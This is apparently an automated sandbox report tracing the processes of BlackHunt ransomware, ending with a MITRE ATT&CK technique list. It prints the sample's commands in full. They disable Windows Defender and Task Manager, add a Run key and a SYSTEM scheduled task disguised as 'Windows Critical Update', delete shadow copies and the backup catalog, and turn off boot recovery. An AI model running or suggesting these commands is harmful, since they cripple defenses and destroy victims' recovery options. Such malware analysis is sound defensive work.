  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    PID:4820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:1496
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2004
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:5100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2440
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:3680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3080
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:4836
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2964
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:1896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:4608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:3828
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:5112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:628
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:3916
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:4888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:3180
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:3408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:3500
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:4416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3100
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4840
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3992
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry class
    PID:4280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2988
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:3516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:4188
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:4084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:4304
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1428
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2804
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:3460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2256
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:5068
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2060
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:4700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2972
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:4848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe" /F
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\a96d2fa41615eb8abfe20122bfe9faff36430af92d1efd5faf9af141d010f23c.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:3692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2944
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1512
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2704
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:5560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:792
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:5576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1240
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1496
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3408
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2220
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2432
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1544
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  - Adds Run key to start application
  PID:4820
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1320

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5908

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3964

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:5212

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:5256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery